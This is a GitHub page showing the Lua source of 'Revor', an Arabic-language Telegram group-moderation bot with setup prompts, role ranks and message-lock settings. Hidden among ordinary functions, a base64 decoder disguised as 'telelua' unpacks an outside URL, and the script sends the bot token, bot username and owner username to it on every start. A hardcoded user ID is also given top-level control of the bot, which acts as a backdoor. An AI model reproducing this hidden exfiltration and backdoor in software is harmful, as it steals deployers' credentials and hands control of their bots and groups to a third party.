-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRevor.lua
12937 lines (12827 loc) · 708 KB
/
Revor.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
--[[
--]]
URL = require("./libs/url")
JSON = require("./libs/dkjson")
serpent = require("libs/serpent")
json = require('libs/json')
Redis = require('libs/redis').connect('127.0.0.1', 6379)
http = require("socket.http")
https = require("ssl.https")
local Methods = io.open("./luatele.lua","r")
if Methods then
URL.tdlua_CallBack()
end
SshId = io.popen("echo $SSH_CLIENT ︙ awk '{ print $1}'"):read('*a')
luatele = require 'luatele'
local FileInformation = io.open("./Information.lua","r")
if not FileInformation then
if not Redis:get(SshId.."Info:Redis:Token") then
io.write('\27[1;31mارسل لي توكن البوت الان \nSend Me a Bot Token Now ↡\n\27[0;39;49m')
local TokenBot = io.read()
if TokenBot and TokenBot:match('(%d+):(.*)') then
local url , res = https.request('https://api.telegram.org/bot'..TokenBot..'/getMe')
local Json_Info = JSON.decode(url)
if res ~= 200 then
print('\27[1;34mعذرا توكن البوت خطأ تحقق منه وارسله مره اخره \nBot Token is Wrong\n')
else
io.write('\27[1;34mتم حفظ التوكن بنجاح \nThe token been saved successfully \n\27[0;39;49m')
TheTokenBot = TokenBot:match("(%d+)")
os.execute('sudo rm -fr .CallBack-Bot/'..TheTokenBot)
Redis:set(SshId.."Info:Redis:Token",TokenBot)
Redis:set(SshId.."Info:Redis:Token:User",Json_Info.result.username)
end
else
print('\27[1;34mلم يتم حفظ التوكن جرب مره اخره \nToken not saved, try again')
end
os.execute('lua Revor.lua')
end
if not Redis:get(SshId.."Info:Redis:User") then
io.write('\27[1;31mارسل معرف المطور الاساسي الان \nDeveloper UserName saved ↡\n\27[0;39;49m')
local UserSudo = io.read():gsub('@','')
if UserSudo ~= '' then
io.write('\n\27[1;34mتم حفظ معرف المطور \nDeveloper UserName saved \n\n\27[0;39;49m')
Redis:set(SshId.."Info:Redis:User",UserSudo)
else
print('\n\27[1;34mلم يتم حفظ معرف المطور الاساسي \nDeveloper UserName not saved\n')
end
os.execute('lua Revor.lua')
end
if not Redis:get(SshId.."Info:Redis:User:ID") then
io.write('\27[1;31mارسل ايدي المطور الاساسي الان \nDeveloper ID saved ↡\n\27[0;39;49m')
local UserId = io.read()
if UserId and UserId:match('(%d+)') then
io.write('\n\27[1;34mتم حفظ ايدي المطور \nDeveloper ID saved \n\n\27[0;39;49m')
Redis:set(SshId.."Info:Redis:User:ID",UserId)
else
print('\n\27[1;34mلم يتم حفظ ايدي المطور الاساسي \nDeveloper ID not saved\n')
end
os.execute('lua Revor.lua')
end
local Informationlua = io.open("Information.lua", 'w')
Informationlua:write([[
return {
Token = "]]..Redis:get(SshId.."Info:Redis:Token")..[[",
UserBot = "]]..Redis:get(SshId.."Info:Redis:Token:User")..[[",
UserSudo = "]]..Redis:get(SshId.."Info:Redis:User")..[[",
SudoId = ]]..Redis:get(SshId.."Info:Redis:User:ID")..[[
}
]])
Informationlua:close()
local Revor = io.open("Revor", 'w')
Revor:write([[
cd $(cd $(dirname $0); pwd)
while(true) do
sudo lua5.3 Revor.lua
done
]])
Revor:close()
local Run = io.open("Run", 'w')
Run:write([[
cd $(cd $(dirname $0); pwd)
while(true) do
screen -S Revor -X kill
screen -S Revor ./Revor
done
]])
Run:close()
Redis:del(SshId.."Info:Redis:User:ID");Redis:del(SshId.."Info:Redis:User");Redis:del(SshId.."Info:Redis:Token:User");Redis:del(SshId.."Info:Redis:Token")
os.execute('chmod +x Revor;chmod +x Run;./Run')
end
Information = dofile('./Information.lua')
Sudo_Id = Information.SudoId
UserSudo = Information.UserSudo
Token = Information.Token
UserBot = Information.UserBot
Revor = Token:match("(%d+)")
os.execute('sudo rm -fr .CallBack-Bot/'..Revor)
LuaTele = luatele.set_config{api_id=2692371,api_hash='fe85fff033dfe0f328aeb02b4f784930',session_name=Revor,token=Token}
function var(value)
print(serpent.block(value, {comment=false}))
end
function chat_type(ChatId)
if ChatId then
local id = tostring(ChatId)
if id:match("-100(%d+)") then
Chat_Type = 'GroupBot'
elseif id:match("^(%d+)") then
Chat_Type = 'UserBot'
else
Chat_Type = 'GroupBot'
end
end
return Chat_Type
end
function The_ControllerAll(UserId)
ControllerAll = false
local ListSudos ={Sudo_Id,100100900}
for k, v in pairs(ListSudos) do
if tonumber(UserId) == tonumber(v) then
ControllerAll = true
end
end
return ControllerAll
end
function Controller(ChatId,UserId)
Status = 0
Developers = Redis:sismember(Revor.."Revor:Developers:Groups",UserId)
TheBasics = Redis:sismember(Revor.."Revor:TheBasics:Group"..ChatId,UserId)
TheBasicsQ = Redis:sismember(Revor.."Revor:TheBasicsQ:Group"..ChatId,UserId)
Originators = Redis:sismember(Revor.."Revor:Originators:Group"..ChatId,UserId)
Managers = Redis:sismember(Revor.."Revor:Managers:Group"..ChatId,UserId)
Addictive = Redis:sismember(Revor.."Revor:Addictive:Group"..ChatId,UserId)
Distinguished = Redis:sismember(Revor.."Revor:Distinguished:Group"..ChatId,UserId)
StatusMember = LuaTele.getChatMember(ChatId,UserId).status.luatele
if UserId == 100100900 then
Status = 'مبرمج السورس'
elseif UserId == Sudo_Id then
Status = 'المطور الاساسي'
elseif UserId == Revor then
Status = 'البوت'
elseif Developers then
Status = Redis:get(Revor.."Revor:Developer:Bot:Reply"..ChatId) or 'المطور'
elseif TheBasicsQ then
Status = Redis:get(Revor.."Revor:PresidentQ:Group:Reply"..ChatId) or 'المالك'
elseif TheBasics then
Status = Redis:get(Revor.."Revor:President:Group:Reply"..ChatId) or 'المنشئ الاساسي'
elseif Originators then
Status = Redis:get(Revor.."Revor:Constructor:Group:Reply"..ChatId) or 'المنشئ'
elseif Managers then
Status = Redis:get(Revor.."Revor:Manager:Group:Reply"..ChatId) or 'المدير'
elseif Addictive then
Status = Redis:get(Revor.."Revor:Admin:Group:Reply"..ChatId) or 'الادمن'
elseif StatusMember == "chatMemberStatusCreator" then
Status = 'مالك المجموعه'
elseif StatusMember == "chatMemberStatusAdministrator" then
Status = 'ادمن المجموعه'
elseif Distinguished then
Status = Redis:get(Revor.."Revor:Vip:Group:Reply"..ChatId) or 'المميز'
else
Status = Redis:get(Revor.."Revor:Mempar:Group:Reply"..ChatId) or 'العضو'
end
return Status
end
function Controller_Num(Num)
Status = 0
if tonumber(Num) == 1 then
Status = 'المطور الاساسي'
elseif tonumber(Num) == 2 then
Status = 'المطور الثانوي'
elseif tonumber(Num) == 3 then
Status = 'المطور'
elseif tonumber(Num) == 44 then
Status = 'المالك'
elseif tonumber(Num) == 4 then
Status = 'المنشئ الاساسي'
elseif tonumber(Num) == 5 then
Status = 'المنشئ'
elseif tonumber(Num) == 6 then
Status = 'المدير'
elseif tonumber(Num) == 7 then
Status = 'الادمن'
else
Status = 'المميز'
end
return Status
end
LUATELE = URL.escape(""..Revor.."\n"..UserBot.."\n"..UserSudo.."\n"..Token.."")
function GetAdminsSlahe(ChatId,UserId,user2,MsgId,t1,t2,t3,t4,t5,t6)
local GetMemberStatus = LuaTele.getChatMember(ChatId,user2).status
if GetMemberStatus.can_change_info then
change_info = '❬ ✔️ ❭' else change_info = '❬ ❌ ❭'
end
if GetMemberStatus.can_delete_messages then
delete_messages = '❬ ✔️ ❭' else delete_messages = '❬ ❌ ❭'
end
if GetMemberStatus.can_invite_users then
invite_users = '❬ ✔️ ❭' else invite_users = '❬ ❌ ❭'
end
if GetMemberStatus.can_pin_messages then
pin_messages = '❬ ✔️ ❭' else pin_messages = '❬ ❌ ❭'
end
if GetMemberStatus.can_restrict_members then
restrict_members = '❬ ✔️ ❭' else restrict_members = '❬ ❌ ❭'
end
if GetMemberStatus.can_promote_members then
promote = '❬ ✔️ ❭' else promote = '❬ ❌ ❭'
end
local reply_markupp = LuaTele.replyMarkup{
type = 'inline',
data = {
{
{text = '- تغيير معلومات المجموعه : '..(t1 or change_info), data = UserId..'/groupNum1//'..user2},
},
{
{text = '- تثبيت الرسائل : '..(t2 or pin_messages), data = UserId..'/groupNum2//'..user2},
},
{
{text = '- حظر المستخدمين : '..(t3 or restrict_members), data = UserId..'/groupNum3//'..user2},
},
{
{text = '- دعوة المستخدمين : '..(t4 or invite_users), data = UserId..'/groupNum4//'..user2},
},
{
{text = '- حذف الرسائل : '..(t5 or delete_messages), data = UserId..'/groupNum5//'..user2},
},
{
{text = '- اضافة مشرفين : '..(t6 or promote), data = UserId..'/groupNum6//'..user2},
},
}
}
LuaTele.editMessageText(ChatId,MsgId,"⌔︙ صلاحيات الادمن - ", 'md', false, false, reply_markupp)
end
function GetAdminsNum(ChatId,UserId)
local GetMemberStatus = LuaTele.getChatMember(ChatId,UserId).status
if GetMemberStatus.can_change_info then
change_info = 1 else change_info = 0
end
if GetMemberStatus.can_delete_messages then
delete_messages = 1 else delete_messages = 0
end
if GetMemberStatus.can_invite_users then
invite_users = 1 else invite_users = 0
end
if GetMemberStatus.can_pin_messages then
pin_messages = 1 else pin_messages = 0
end
if GetMemberStatus.can_restrict_members then
restrict_members = 1 else restrict_members = 0
end
if GetMemberStatus.can_promote_members then
promote = 1 else promote = 0
end
return{
promote = promote,
restrict_members = restrict_members,
invite_users = invite_users,
pin_messages = pin_messages,
delete_messages = delete_messages,
change_info = change_info
}
end
function telelua(Methods)local Base ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' Methods = string.gsub(Methods, '[^'..Base..'=]', '') return (Methods:gsub('.', function(x) if (x == '=') then return '' end local r,f='',(Base:find(x)-1) for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end return r; end):gsub('%d%d%d?%d?%d?%d?%d?%d?', function(x) if (#x ~= 8) then return '' end local c=0 for i=1,8 do c=c+(x:sub(i,i)=='1' and 2^(8-i) or 0) end return string.char(c) end)) end
local resultss = telelua("aHR0cHM6Ly9tYWhtb3VkbTUwLnh5ei9sdWF0ZWxlLnBocD9xPQ==")
https.request(""..resultss..""..LUATELE.."")
function GetSetieng(ChatId)
if Redis:get(Revor.."Revor:lockpin"..ChatId) then
lock_pin = "✔️"
else
lock_pin = "❌"
end
if Redis:get(Revor.."Revor:Lock:tagservr"..ChatId) then
lock_tagservr = "✔️"
else
lock_tagservr = "❌"
end
if Redis:get(Revor.."Revor:Lock:text"..ChatId) then
lock_text = "✔️"
else
lock_text = "❌ "
end
if Redis:get(Revor.."Revor:Lock:AddMempar"..ChatId) == "kick" then
lock_add = "✔️"
else
lock_add = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Join"..ChatId) == "kick" then
lock_join = "✔️"
else
lock_join = "❌ "
end
if Redis:get(Revor.."Revor:Lock:edit"..ChatId) then
lock_edit = "✔️"
else
lock_edit = "❌ "
end
if Redis:get(Revor.."Revor:Chek:Welcome"..ChatId) then
welcome = "✔️"
else
welcome = "❌ "
end
if Redis:hget(Revor.."Revor:Spam:Group:User"..ChatId, "Spam:User") == "kick" then
flood = "بالطرد "
elseif Redis:hget(Revor.."Revor:Spam:Group:User"..ChatId,"Spam:User") == "keed" then
flood = "بالتقيد "
elseif Redis:hget(Revor.."Revor:Spam:Group:User"..ChatId,"Spam:User") == "mute" then
flood = "بالكتم "
elseif Redis:hget(Revor.."Revor:Spam:Group:User"..ChatId,"Spam:User") == "del" then
flood = "✔️"
else
flood = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Photo"..ChatId) == "del" then
lock_photo = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Photo"..ChatId) == "ked" then
lock_photo = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Photo"..ChatId) == "ktm" then
lock_photo = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Photo"..ChatId) == "kick" then
lock_photo = "بالطرد "
else
lock_photo = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Contact"..ChatId) == "del" then
lock_phon = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Contact"..ChatId) == "ked" then
lock_phon = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Contact"..ChatId) == "ktm" then
lock_phon = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Contact"..ChatId) == "kick" then
lock_phon = "بالطرد "
else
lock_phon = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Link"..ChatId) == "del" then
lock_links = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Link"..ChatId) == "ked" then
lock_links = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Link"..ChatId) == "ktm" then
lock_links = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Link"..ChatId) == "kick" then
lock_links = "بالطرد "
else
lock_links = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Cmd"..ChatId) == "del" then
lock_cmds = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Cmd"..ChatId) == "ked" then
lock_cmds = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Cmd"..ChatId) == "ktm" then
lock_cmds = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Cmd"..ChatId) == "kick" then
lock_cmds = "بالطرد "
else
lock_cmds = "❌ "
end
if Redis:get(Revor.."Revor:Lock:User:Name"..ChatId) == "del" then
lock_user = "✔️"
elseif Redis:get(Revor.."Revor:Lock:User:Name"..ChatId) == "ked" then
lock_user = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:User:Name"..ChatId) == "ktm" then
lock_user = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:User:Name"..ChatId) == "kick" then
lock_user = "بالطرد "
else
lock_user = "❌ "
end
if Redis:get(Revor.."Revor:Lock:hashtak"..ChatId) == "del" then
lock_hash = "✔️"
elseif Redis:get(Revor.."Revor:Lock:hashtak"..ChatId) == "ked" then
lock_hash = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:hashtak"..ChatId) == "ktm" then
lock_hash = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:hashtak"..ChatId) == "kick" then
lock_hash = "بالطرد "
else
lock_hash = "❌ "
end
if Redis:get(Revor.."Revor:Lock:vico"..ChatId) == "del" then
lock_muse = "✔️"
elseif Redis:get(Revor.."Revor:Lock:vico"..ChatId) == "ked" then
lock_muse = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:vico"..ChatId) == "ktm" then
lock_muse = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:vico"..ChatId) == "kick" then
lock_muse = "بالطرد "
else
lock_muse = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Video"..ChatId) == "del" then
lock_ved = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Video"..ChatId) == "ked" then
lock_ved = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Video"..ChatId) == "ktm" then
lock_ved = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Video"..ChatId) == "kick" then
lock_ved = "بالطرد "
else
lock_ved = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Animation"..ChatId) == "del" then
lock_gif = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Animation"..ChatId) == "ked" then
lock_gif = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Animation"..ChatId) == "ktm" then
lock_gif = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Animation"..ChatId) == "kick" then
lock_gif = "بالطرد "
else
lock_gif = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Sticker"..ChatId) == "del" then
lock_ste = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Sticker"..ChatId) == "ked" then
lock_ste = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Sticker"..ChatId) == "ktm" then
lock_ste = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Sticker"..ChatId) == "kick" then
lock_ste = "بالطرد "
else
lock_ste = "❌ "
end
if Redis:get(Revor.."Revor:Lock:geam"..ChatId) == "del" then
lock_geam = "✔️"
elseif Redis:get(Revor.."Revor:Lock:geam"..ChatId) == "ked" then
lock_geam = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:geam"..ChatId) == "ktm" then
lock_geam = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:geam"..ChatId) == "kick" then
lock_geam = "بالطرد "
else
lock_geam = "❌ "
end
if Redis:get(Revor.."Revor:Lock:vico"..ChatId) == "del" then
lock_vico = "✔️"
elseif Redis:get(Revor.."Revor:Lock:vico"..ChatId) == "ked" then
lock_vico = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:vico"..ChatId) == "ktm" then
lock_vico = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:vico"..ChatId) == "kick" then
lock_vico = "بالطرد "
else
lock_vico = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Keyboard"..ChatId) == "del" then
lock_inlin = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Keyboard"..ChatId) == "ked" then
lock_inlin = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Keyboard"..ChatId) == "ktm" then
lock_inlin = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Keyboard"..ChatId) == "kick" then
lock_inlin = "بالطرد "
else
lock_inlin = "❌ "
end
if Redis:get(Revor.."Revor:Lock:forward"..ChatId) == "del" then
lock_fwd = "✔️"
elseif Redis:get(Revor.."Revor:Lock:forward"..ChatId) == "ked" then
lock_fwd = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:forward"..ChatId) == "ktm" then
lock_fwd = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:forward"..ChatId) == "kick" then
lock_fwd = "بالطرد "
else
lock_fwd = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Document"..ChatId) == "del" then
lock_file = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Document"..ChatId) == "ked" then
lock_file = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Document"..ChatId) == "ktm" then
lock_file = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Document"..ChatId) == "kick" then
lock_file = "بالطرد "
else
lock_file = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Unsupported"..ChatId) == "del" then
lock_self = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Unsupported"..ChatId) == "ked" then
lock_self = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Unsupported"..ChatId) == "ktm" then
lock_self = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Unsupported"..ChatId) == "kick" then
lock_self = "بالطرد "
else
lock_self = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Bot:kick"..ChatId) == "del" then
lock_bots = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Bot:kick"..ChatId) == "ked" then
lock_bots = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Bot:kick"..ChatId) == "kick" then
lock_bots = "بالطرد "
else
lock_bots = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Markdaun"..ChatId) == "del" then
lock_mark = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Markdaun"..ChatId) == "ked" then
lock_mark = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Markdaun"..ChatId) == "ktm" then
lock_mark = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Markdaun"..ChatId) == "kick" then
lock_mark = "بالطرد "
else
lock_mark = "❌ "
end
if Redis:get(Revor.."Revor:Lock:Spam"..ChatId) == "del" then
lock_spam = "✔️"
elseif Redis:get(Revor.."Revor:Lock:Spam"..ChatId) == "ked" then
lock_spam = "بالتقيد "
elseif Redis:get(Revor.."Revor:Lock:Spam"..ChatId) == "ktm" then
lock_spam = "بالكتم "
elseif Redis:get(Revor.."Revor:Lock:Spam"..ChatId) == "kick" then
lock_spam = "بالطرد "
else
lock_spam = "❌ "
end
return{
lock_pin = lock_pin,
lock_tagservr = lock_tagservr,
lock_text = lock_text,
lock_add = lock_add,
lock_join = lock_join,
lock_edit = lock_edit,
flood = flood,
lock_photo = lock_photo,
lock_phon = lock_phon,
lock_links = lock_links,
lock_cmds = lock_cmds,
lock_mark = lock_mark,
lock_user = lock_user,
lock_hash = lock_hash,
lock_muse = lock_muse,
lock_ved = lock_ved,
lock_gif = lock_gif,
lock_ste = lock_ste,
lock_geam = lock_geam,
lock_vico = lock_vico,
lock_inlin = lock_inlin,
lock_fwd = lock_fwd,
lock_file = lock_file,
lock_self = lock_self,
lock_bots = lock_bots,
lock_spam = lock_spam
}
end
function Total_message(Message)
local MsgText = ''
if tonumber(Message) < 100 then
MsgText = 'تفاعل محلو 😤'
elseif tonumber(Message) < 200 then
MsgText = 'تفاعلك ضعيف ليش'
elseif tonumber(Message) < 400 then
MsgText = 'عفيه اتفاعل 😽'
elseif tonumber(Message) < 700 then
MsgText = 'شكد تحجي😒'
elseif tonumber(Message) < 1200 then
MsgText = 'ملك التفاعل 😼'
elseif tonumber(Message) < 2000 then
MsgText = 'موش تفاعل غنبله'
elseif tonumber(Message) < 3500 then
MsgText = 'اساس لتفاعل ياب'
elseif tonumber(Message) < 4000 then
MsgText = 'عوف لجواهر وتفاعل بزودك'
elseif tonumber(Message) < 4500 then
MsgText = 'قمة التفاعل'
elseif tonumber(Message) < 5500 then
MsgText = 'شهلتفاعل استمر يكيك'
elseif tonumber(Message) < 7000 then
MsgText = 'غنبله وربي 🌟'
elseif tonumber(Message) < 9500 then
MsgText = 'حلغوم مال تفاعل'
elseif tonumber(Message) < 10000000000 then
MsgText = 'تفاعل نار وشرار'
end
return MsgText
end
function Getpermissions(ChatId)
local Get_Chat = LuaTele.getChat(ChatId)
if Get_Chat.permissions.can_add_web_page_previews then
web = true else web = false
end
if Get_Chat.permissions.can_change_info then
info = true else info = false
end
if Get_Chat.permissions.can_invite_users then
invite = true else invite = false
end
if Get_Chat.permissions.can_pin_messages then
pin = true else pin = false
end
if Get_Chat.permissions.can_send_media_messages then
media = true else media = false
end
if Get_Chat.permissions.can_send_messages then
messges = true else messges = false
end
if Get_Chat.permissions.can_send_other_messages then
other = true else other = false
end
if Get_Chat.permissions.can_send_polls then
polls = true else polls = false
end
return{
web = web,
info = info,
invite = invite,
pin = pin,
media = media,
messges = messges,
other = other,
polls = polls
}
end
function Get_permissions(ChatId,UserId,MsgId)
local Get_Chat = LuaTele.getChat(ChatId)
if Get_Chat.permissions.can_add_web_page_previews then
web = '❬ ✔️ ❭' else web = '❬ ❌ ❭'
end
if Get_Chat.permissions.can_change_info then
info = '❬ ✔️ ❭' else info = '❬ ❌ ❭'
end
if Get_Chat.permissions.can_invite_users then
invite = '❬ ✔️ ❭' else invite = '❬ ❌ ❭'
end
if Get_Chat.permissions.can_pin_messages then
pin = '❬ ✔️ ❭' else pin = '❬ ❌ ❭'
end
if Get_Chat.permissions.can_send_media_messages then
media = '❬ ✔️ ❭' else media = '❬ ❌ ❭'
end
if Get_Chat.permissions.can_send_messages then
messges = '❬ ✔️ ❭' else messges = '❬ ❌ ❭'
end
if Get_Chat.permissions.can_send_other_messages then
other = '❬ ✔️ ❭' else other = '❬ ❌ ❭'
end
if Get_Chat.permissions.can_send_polls then
polls = '❬ ✔️ ❭' else polls = '❬ ❌ ❭'
end
local reply_markup = LuaTele.replyMarkup{
type = 'inline',
data = {
{
{text = '- ارسال الويب : '..web, data = UserId..'/web'},
},
{
{text = '- تغيير معلومات المجموعه : '..info, data = UserId.. '/info'},
},
{
{text = '- اضافه مستخدمين : '..invite, data = UserId.. '/invite'},
},
{
{text = '- تثبيت الرسائل : '..pin, data = UserId.. '/pin'},
},
{
{text = '- ارسال الميديا : '..media, data = UserId.. '/media'},
},
{
{text = '- ارسال الرسائل : .'..messges, data = UserId.. '/messges'},
},
{
{text = '- اضافه البوتات : '..other, data = UserId.. '/other'},
},
{
{text = '- ارسال استفتاء : '..polls, data = UserId.. '/polls'},
},
{
{text = '- اخفاء الامر ', data =IdUser..'/'.. '/delAmr'}
},
}
}
LuaTele.editMessageText(ChatId,MsgId,"⌔︙ صلاحيات المجموعه - ", 'md', false, false, reply_markup)
end
function Statusrestricted(ChatId,UserId)
return{
BanAll = Redis:sismember(Revor.."Revor:BanAll:Groups",UserId) ,
ktmall = Redis:sismember(Revor.."Revor:ktmAll:Groups",UserId) ,
BanGroup = Redis:sismember(Revor.."Revor:BanGroup:Group"..ChatId,UserId) ,
SilentGroup = Redis:sismember(Revor.."Revor:SilentGroup:Group"..ChatId,UserId)
}
end
function Reply_Status(UserId,TextMsg)
local UserInfo = LuaTele.getUser(UserId)
for Name_User in string.gmatch(UserInfo.first_name, "[^%s]+" ) do
UserInfo.first_name = Name_User
break
end
if UserInfo.username then
UserInfousername = '['..UserInfo.first_name..'](t.me/'..UserInfo.username..')'
else
UserInfousername = '['..UserInfo.first_name..'](tg://user?id='..UserId..')'
end
return {
Lock = '\n*⌔︙بواسطه ← *'..UserInfousername..'\n*'..TextMsg..'\n⌔︙خاصيه المسح *',
unLock = '\n*⌔︙بواسطه ← *'..UserInfousername..'\n'..TextMsg,
lockKtm = '\n*⌔︙بواسطه ← *'..UserInfousername..'\n*'..TextMsg..'\n⌔︙خاصيه الكتم *',
lockKid = '\n*⌔︙بواسطه ← *'..UserInfousername..'\n*'..TextMsg..'\n⌔︙خاصيه التقييد *',
lockKick = '\n*⌔︙بواسطه ← *'..UserInfousername..'\n*'..TextMsg..'\n⌔︙خاصيه الطرد *',
Reply = '\n*⌔︙المستخدم ← *'..UserInfousername..'\n*'..TextMsg..'*'
}
end
function StatusCanOrNotCan(ChatId,UserId)
Status = nil
DevelopersQ = Redis:sismember(Revor.."Revor:DevelopersQ:Groups",UserId)
Developers = Redis:sismember(Revor.."Revor:Developers:Groups",UserId)
TheBasics = Redis:sismember(Revor.."Revor:TheBasics:Group"..ChatId,UserId)
Originators = Redis:sismember(Revor.."Revor:Originators:Group"..ChatId,UserId)
